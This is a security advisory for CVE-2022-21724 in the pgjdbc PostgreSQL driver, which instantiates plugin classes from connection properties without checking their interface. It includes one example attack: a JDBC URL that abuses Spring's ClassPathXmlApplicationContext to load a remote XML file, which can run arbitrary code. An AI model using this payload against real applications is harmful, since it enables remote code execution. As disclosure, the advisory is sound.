HIGH 7.0 Maven
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
GHSA-v7wg-cpwc-24m4 · BIT-postgresql-jdbc-driver-2022-21724 · CVE-2022-21724
Published · Modified
Description
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
References
- WEB https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2022-21724
- WEB https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
- PACKAGE https://github.com/pgjdbc/pgjdbc
- WEB https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html
- WEB https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS
- WEB https://security.netapp.com/advisory/ntap-20220311-0005
- WEB https://www.debian.org/security/2022/dsa-5196
Ready to move
Start Securing
Free, no credit card | First findings in minutes